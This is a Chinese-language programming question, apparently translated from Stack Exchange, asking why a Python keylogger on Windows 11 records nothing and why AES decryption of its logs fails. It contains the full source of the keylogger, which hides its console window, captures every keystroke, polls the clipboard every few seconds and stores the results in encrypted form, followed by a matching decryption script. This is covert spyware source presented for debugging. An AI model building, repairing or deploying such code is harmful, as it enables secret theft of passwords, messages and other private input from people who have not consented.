Windows11下Python键盘记录器不记录按键且AES解密失败

我开发的一款基于Python的键盘记录器在Windows 11系统中运行无报错，但无法捕获并记录按键。预期按键会被记录到文件中，然而解密日志阶段出现以下错误：

• Decryption Error: MAC check failed
• [ERROR] Mismatched entry length! Expected 23824, got 2307
• [ERROR] Unrealistic entry length 47642, possible corruption

该记录器使用AES加密日志，解密过程存在异常。

键盘记录器代码 #

import os
import sys
import datetime
import pyperclip
import time
import threading
import Crypto

from pynput import keyboard
from datetime import datetime
from Crypto.Cipher import AES

secret_key = b"--key--"

if len(secret_key) not in [16, 24, 32]:
    raise ValueError("Invalid AES key length.")

if sys.platform == "win32":
    import ctypes
    ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

log_file = "path\keylogs.bin"
error_log_file = "path\error_logs.txt"

log_buffer = []
current_sentence = ""

def encrypt_log(data):
    cipher = AES.new(secret_key, AES.MODE_EAX)
    nonce = cipher.nonce
    ciphertext, tag = cipher.encrypt_and_digest(data.encode())

    return nonce + ciphertext + tag  # Concatenating all parts

def decrypt_log(encrypted_data):
    try:
        nonce = encrypted_data[:16]
        ciphertext = encrypted_data[16:-16]
        tag = encrypted_data[-16:]

        cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
        return cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

    except Exception as e:
        return f"Decryption Error: {e}"

def log_error(message):
    with open(error_log_file, "a") as f:
        f.write(f"{datetime.now()} - {message}\n")

def on_press(key):
    global log_buffer, current_sentence
    try:
        if hasattr(key, "char") and key.char:
            text = key.char
        else:
            text = special_key_formatter(key)
        
        if text == "[ENTER]":
            timestamp =datetime.now().strftime("%Y-%m-%d %H:%M:%S")
            encrypted_text = encrypt_log(f"{timestamp}: {current_sentence.strip()}")
            log_buffer.append(encrypted_text)
            current_sentence = ""
        else:
            current_sentence += text

        if len(log_buffer) >= 10:  # Adjust buffer size if needed
            write_log()

    except Exception as e:
        print(f"Error: {e}")   

def special_key_formatter(key):
    special_keys = {
        keyboard.Key.space: " ",  # Space as an actual space
        keyboard.Key.enter: "[ENTER]",
        keyboard.Key.backspace: "[BACKSPACE]",
        keyboard.Key.tab: "[TAB]",
        keyboard.Key.shift: "",
        keyboard.Key.shift_r: "",
        keyboard.Key.ctrl: "[CTRL]",
        keyboard.Key.ctrl_r: "[CTRL]",
        keyboard.Key.alt: "[ALT]",
        keyboard.Key.alt_r: "[ALT]",
        keyboard.Key.esc: "[ESC]",
        keyboard.Key.delete: "[DEL]",
        keyboard.Key.up: "[UP]",
        keyboard.Key.down: "[DOWN]",
        keyboard.Key.left: "[LEFT]",
        keyboard.Key.right: "[RIGHT]",
        keyboard.Key.caps_lock: "[CAPS]",
    }
    return special_keys.get(key, f"[{key}]") 

def write_log():
    global log_buffer
    if log_buffer:
        with open(log_file, "ab") as f:
            for entry in log_buffer:
                f.write(entry + b"\n")
        log_buffer = []    

def log_clipboard():
    global log_buffer
    recent_text = ""
    while True:
        try:
            clipboard_data = pyperclip.paste()
            if clipboard_data and clipboard_data != recent_text:
                timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                encrypted_clipboard = encrypt_log(f"{timestamp} [Clipboard]: {clipboard_data}")
                log_buffer.append(encrypted_clipboard)
                write_log()
                recent_text = clipboard_data
            time.sleep(5)
        except Exception as e:
            print(f"Clipboard logging error: {e}")
        
clipboard_thread = threading.Thread(target=log_clipboard, daemon =True)
clipboard_thread.start()

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

日志解密代码 #

import Crypto
from Crypto.Cipher import AES

secret_key = b"--key--"

log_file = "path\keylogs.bin"

def decrypt_log(encrypted_data):
    try:
        nonce = encrypted_data[:16]          # Extract nonce
        ciphertext = encrypted_data[16:-16]  # Extract ciphertext
        tag = encrypted_data[-16:]           # Extract tag

        cipher = AES.new(secret_key, AES.MODE_EAX, nonce=nonce)
        decrypted_text = cipher.decrypt_and_verify(ciphertext, tag).decode("utf-8")

        return decrypted_text

    except Exception as e:
        return f"Decryption Error: {e}"

with open(log_file, "rb") as f:
    for line in f:
        try:
            decrypted_text = decrypt_log(line.strip())  # Strip only for binary safety
            print("Decrypted Output:", decrypted_text)
        except Exception as e:
            print(f"Decryption Error: {e}")

已完成的排查工作 #

• 验证加解密结构（每个条目以[2字节长度]+[Nonce(16)]+[Ciphertext]+[Tag(16)]存储）
• 确认两个脚本的AES密钥一致
• 检查部分写入与条目损坏问题
• 确保写入后调用flush()防止数据丢失
• 添加合理性检查跳过长度异常条目
• 打印原始加密数据排查（发现可能存在损坏或读取对齐问题）
• 重新生成日志文件（减少但未消除错误）

内容的提问来源于stack exchange，提问作者Keyser Söze